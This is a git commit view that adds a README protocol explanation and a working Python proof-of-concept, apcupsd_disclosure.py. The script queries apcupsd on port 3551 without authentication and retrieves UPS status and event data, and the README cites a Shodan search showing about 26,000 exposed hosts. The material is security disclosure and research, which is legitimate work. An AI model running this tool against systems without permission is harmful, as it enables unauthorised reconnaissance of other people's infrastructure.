Compare commits

..

10 Commits

Author SHA1 Message Date
dash
0e95a5cf42 how does it work 2019-06-13 11:12:11 +02:00
dash
00d25aece0 disclosure code published 2019-06-13 11:06:44 +02:00
dash
12f9e261d2 markdown 2019-06-13 11:02:52 +02:00
dash
63fa9f9376 markdown 2019-06-13 11:01:44 +02:00
dash
ac946cacd5 markdown 2019-06-13 11:00:50 +02:00
dash
1cffd165a1 markdown 2019-06-13 10:59:55 +02:00
dash
eb1c206f36 markdown 2019-06-13 10:59:35 +02:00
dash
eb5de9341a markdown 2019-06-13 10:58:53 +02:00
dash
aa7fb279a6 markdown 2019-06-13 10:58:04 +02:00
dash
1de5c41b27 markdown 2019-06-13 10:57:09 +02:00
2 changed files with 121 additions and 2 deletions

View File

@@ -20,6 +20,25 @@ servers surviving, as long as it has battery power left.
and some more :)
### How does it work?
The daemon, listening per default at tcp/3551 is waiting for connections. The protocol itself is
build pretty simple. Lets look at the status request:
`\x00\x06\x73\x74\x61\x74\x75\x73`
As you can see, the first two bytes define the length of the request, in this particular case 6 bytes, after that the command is sent: status.
The same is happening for the events request:
`\x00\x06\x65\x76\x65\x6e\x74\x73`
Six bytes again and then the string "events".
The response is setup similar, first the bytelength, then the ASCII data, at the end a newline and null byte is sent. Finally, if all data has been transfered the daemon sends an additional nullbyte.
If you looking for more information simply trace wireshark output or look into the code ;)
### Usage
There are two different supported modes in the daemon. Those are:
@@ -28,11 +47,12 @@ There are two different supported modes in the daemon. Those are:
While status have detailed information about the daemon and its configuration itself, events covers power failures and alike.
```
./apcupsd_disclosure.py -h
usage: apcupsd_disclosure.py 0.1 dash@undisclose.de June 2019
[-h] [-m MODE] -t TARGET [-p PORT]
Lil' tool for Information Disclosure of apcupsd
Lil' tool for Information Disclosure of apcupsd
optional arguments:
-h, --help show this help message and exit
@@ -41,17 +61,22 @@ optional arguments:
-t TARGET, --target TARGET
define the target
-p PORT, --port PORT define the target port
```
Get the status information (you do not need the -m option as status is default):
```
./apcupsd_disclosure.py -t 127.0.0.1 -m status
```
Get the events:
```
./apcupsd_disclosure.py -t 127.0.0.1 -m events
```
### Shodan
Search: https://www.shodan.io/search?query=port%3A3551
Result: 26,000
Results: 26,000
## Disclaimer

94
apcupsd_disclosure.py Executable file
View File

@@ -0,0 +1,94 @@
#!/usr/bin/env python3
#
# Unauthenticated Information Disclosure in apcupsd of APC UPS
# dash@undisclose.de
#
import os
import sys
import socket
import string
import argparse
status = "\x00\x06\x73\x74\x61\x74\x75\x73".encode()
events = "\x00\x06\x65\x76\x65\x6e\x74\x73".encode()
protoend = "\x00\x00".encode()
def socket_go(target,port,mode):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
sock.connect((target,port))
sock.send(mode)
except ConnectionRefusedError as e:
print ("[-] Target: %s:%d - %s " % (target,port,e))
sys.exit(1)
except TimeoutError as e:
print ("[-] Target: %s:%d - %s " % (target,port,e))
sys.exit(1)
out=""
while [ 1 ]:
data = sock.recv(4096)
out = out + data.decode()
if len(data) == 0:
break
elif data.find(protoend)>0:
break
return out
def parse_output(out):
''' basically remove non-printable protocol parts and interpret newlines ;)'''
output = ''.join([x for x in out if x in string.printable])
print(output)
def run(args):
target = args.target
port = args.port
mode = args.mode
if mode == "status":
out=socket_go(target,port,status)
elif mode == "events":
out=socket_go(target,port,events)
else:
print("Sorry, unknown mode %s" % mode)
print("Supported modes:\n* status\n* events\n")
sys.exit(1)
printme=parse_output(out)
print("Let's move on.")
def main():
''' we got a main :)'''
__tool__ = 'apcupsd_disclosure.py'
__version__ = '0.1'
__author__ = 'dash@undisclose.de'
__date__ = 'June 2019'
parser_desc = 'Lil\' tool for Information Disclosure of apcupsd'
prog_desc = __tool__ + ' ' + __version__ + ' ' + __author__ + ' ' + __date__
parser = argparse.ArgumentParser(prog = prog_desc, description=parser_desc)
parser.add_argument('-m','--mode',action="store",dest='mode',required=False,help='define the mode, two modes exist: "status" and "events", default is "status"', default="status")
parser.add_argument('-t','--target',action="store",dest='target',required=True,help='define the target', default=False)
parser.add_argument('-p','--port',action="store",dest='port',required=False,help='define the target port', default=3551)
if(len(sys.argv)<2):
print("Sorry, to few arguments")
sys.exit(1)
args = parser.parse_args()
run(args)
if __name__ == "__main__":
main()